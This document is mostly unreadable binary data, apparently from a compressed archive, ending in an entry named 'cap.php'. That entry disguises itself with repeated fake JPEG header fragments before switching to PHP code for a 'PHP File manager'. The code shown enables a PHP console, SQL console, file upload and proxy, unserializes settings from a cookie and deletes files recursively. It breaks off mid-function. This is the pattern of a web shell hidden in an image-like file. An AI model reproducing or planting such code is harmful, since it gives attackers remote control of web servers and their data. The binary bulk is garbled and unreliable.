Ѕ[I^+8Ps1r7Bn_URWu)JH;42M'-`iƾ?j|:2|}.kXFOkyd,2RlvڻY?h}D'ݝo>(D@B 0{ҿJ&*3A
c<gT31B
}RURAOOOoZc3==6kKΉ!M8AR~-=qp9oV:B {1ӝYZ=s=-Z0Qn
g.ӟem{CBە+|0Q!=4cJQvP[Q {W1G,t$tj n0`pk>DL`䢷l%.ɇ5'Kf/ބ49Ym*@İ^7v
о@kq :|p>wF\{bjl7 ؎fM	[NhCZq
c֊p+N~Zxy}eAE@ (1|r]}rr>4^a>^f?AHzpa_E
&˽$_QtEA_ZO`A[*|g$e:Qo͒W OiD{v9oB0i3}b۸I:s\$@	fE=#J/xFF~>$~5O-sV9v,*!i#~Mn]MvI2dk}
0]*JF:$tu
#gPӘSJ{NdfC$pԽ_0Ҵ5<0@Yq1S'`olDw}{c1[J4-P1b^>cPu85n[ʀvlРkkLǗX9Z!{]^\.ܓ~~ŀLk+Gni\hMIQ\3Xgg
6NwTpȣ09Na:4m޲PFM_)Am6>rxpE!/1h醩i}M;ɐu	S^Tk``D.>~1{|
k87(1HWc-Q,^ 7tDaů)X$0I6@%7n,^M{crf?YƇ5FZyv
f	xC~BgZ k]%t =S`<\1LV֠4R2T/DuV'jV (+	}L+:{-1(^47@\̮$f^4|4Q$c!pVF:PH T
DQII]j
ޫЍ{")K<(	yP$a\BB<Hҙl.X(ʕjh>ϝ.`8ǓLEՖf`(<袨]_1+w@s_/ 0xmgJNauǵ˩ GDPȧ!|c˼τ8*5 <lzf|=*Ka6o_91~/ Nz?
P򂆙}飠(@EG~VX	!.%@"x	#(,(J$
@% 0Ճ-=+:=83'0Dgz RRP!wc3>[N)dO<$wU lH.r\K.NGc lfSI*jV~)%<Ю^p+"PsRcsB5puFVlkG%dw~#CL uҖIO'*\AGIH_ї,y+8|¢,PI3>{lp_Xw0fb)Px1.37F( oqS3s=gHc|1,'KzH6~ud+슙U5U޻B-H*Bˍ 7M@-7mZQm轩M8԰-jn]R%O暥A,d@T>􀊽XwnٙFT-xD6Mg(	\o49ߨ4Z`ډuiŜqI$6FK|3xr$ɠ#L[CN5>#tg"͒Mepy^j9n5Kb9G1|m >|nXL~1K"(įiu#'L0@zg0UɈQJo,:v7$><nȁ> ZJ&1RD(@Q誊Nm>oy"1  V16@$aUО]Eǟ$iF&Ή:Խ'0VI yj}I$a}f!sf_p0G1Nt}'$ll\(pJ%K 2dTЋL{C&m6vrЙtk^\$^!#݉@MA/h=5؞CN/N[a~;l%&/SQy0AYhTڸjn鞳iq σ,/uB#+<yGZ3mEX@!"::/r6n`;}YH^u<G(~WC<K2舝DmdD'`Yh8E7F%5u)1Zx ++=&Gv$ *r2P?De%'xXߺr0DnKo!p'sC^6V(qʖ\r ,%nOǌv8].MMNœvl=g+	;riTN'D'C񰥺afSa\"5X//%K/>l6$57q;4(, @ft5NpGXEyk!uEUe$`dY5$"; P7b)UK_})<}JD9̯c:'q}
D>}NT'gOĿ魭Kuk?ZJq*E4|!X䶑>G/	fIc9$<j8ʋ_o^(=6un_ݱv^J6р2ū,2b&*73|ڨTBP2O(|o\nJ82j2(gxt J	
枡[ (H3%W2$j`-{2'AJ%WrVò2aݼ&ne@ձF[Cnix!~6F!GJDJ%XH) ޹=+ekz{#_4ɰcMnf$J}YQP代4[͟>Au].3j"eلɲWձܴ[dZ#訖d^ 0 NŤC3NVt=? ZU^ͼCYWNOR1&{},ؘ<ɜqF+f$F`hLkZm<HC'h@Xbf!'(/7f0cgrP7Yb\QсǢ:zJt3I{eKЬ	}BCϱÂФqi82k)Ȣ{oonw-[ :Fc2@nրzM;09{s(L7`I"3 b!JCf*_0Cj>SYVk2C4=Z Έ[O8]H@U7;_\P\
f64NYTDܥja8cWڣIG"s Ȁbz]I3Wr>ӐN4}fв[Q|g	4±?TSh_ǲSALmZw>dlm⦐Fڠ6&t=*koB>:>:1_q0Do扶f+1A0?@0aK~;<TK@ϗGF q`[hp;^|#G 1*Wˢ:#̺;QڠPz3]

(ۚu0J";.nދ:F>'. |`:U9e>Xhu+I	&W@[{x-~l2mqY#uaAJ~$q:dxUl/xxT!Sk1 p+`UumLCwUl1}@_Kh'}nSS)Ҷ^;u3`'mzξ
QfQ~Q~v؇t[{b訬qT THe(_NLf81(8q`P>
u9=2R
OA˖HsmE`@h4AޫP_&6y@^Jldz/">y9G}~Hfnb Q*˅gP쳜\>b[	9^X͸$+i;=e(bJ_K	KMg:ӟ~=	 1x¶IdfG2*ڵCmU̪*chrS5̮
	L!a0b֊^B\mH8z){uί78\X9Zfֻ{]fPi''EqC{T"Ge%xXl<<pƳw&`o
<0śy4dJSL+hRat-қ\%mpϧ;`B^acEV
6I@p*2L	FŃeCAE4rlɾ2%Fy171nGB3;XxjY1 ڿo `|/ITNDh-+GWT+J`S3l4n&8S6a3Sk aac(\w5 Gp1
U 0@O9F&SVd,9':~zqo:qבɕ=+ǪtgO4YX*n$yWxco:5uD!2x7(1r!TuԶXi,^YHt*|6$ks45cǱE?|<M]ϣy& 9Q{.nokWGT'Qg_3 +l5\.JW`kGMf-cn7S!p7_!|hrC^|H׉F,t_N$558XU24A7UZףMNTJkqdӲUk){`+꽽9~q8ԡ-@0B|wkuL&-3H[h1|=Pva!H~s?3_C02,a *?D[`-v)eo*_`v=t*4)q0`렜
KX6 #A/}~|pBÇ?@L>w;dW_0oW8̿ÿۿÿͿͿ_w7?=;PW7 of ;C!P?g~wkwv߃<4?qo?<wR.ÇK՟	}'	Yo_ïoӟ|38_Lܛ
?xϼ|㙷|o<槟ބүӎ.Nn9;0~/	1?p$sc f40w/t@~=.Ar]%@V<9taPn
?´n'׿2>j~ŌK۹qx5G\SKsM{~u THv*6$@*(+/08 7L#T{`QG4WMAMKEQ}Zmq~FG3{Cv}n7418 `SNt~TW&ph>
4ẸY/i4΀zաfH+aa]f2ޫ{2dįr9B`<|ݜSյ'02cL[0ǊCY$[^"(^xT[l-ʉdRȧQ@f̫ȡՌq`ÝX:½#&r1tbhjjd2/<,𱗾b1kĐm<U_hF9\cʂ,{m}̏&ɱ'MhSH0=D^ZIG\Y}'j/g4ࠬàQ*A4pm"+-@ZjX# -=P~ÝT\+_9N+
A# ޓ@lLGFTt1v":O~`C;Jh
'Sp//(7p*)HL#*ٸ(i~
˛U	/''Q
8SR'RhO"P zQ# ' oZ\DŒå^45`%PH;fvk%0!ida3{6;!23ޠSq!)3
e"1YၜEv":фF#	[gE_ՍôKRGƻIz^|o|$cنܟjNm7 ŭ<5 F- p9+cTυ>X { Aqg7-jp}@}|Ź`6$G$%kѥ|tde-!oH\ފQ 'eӽ(.>lﭏ9ظ9XAA7Y}Uz{CoQOMpoڲ2叵<7^zsꍟ -4{=?jΞZk`ֈG[C/*vw-Ǝu]5|>R P
6R COd8S!JHA>gs]#Brv^8b%i_`X
b# `M/i-♶?b#V_@YXu
xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
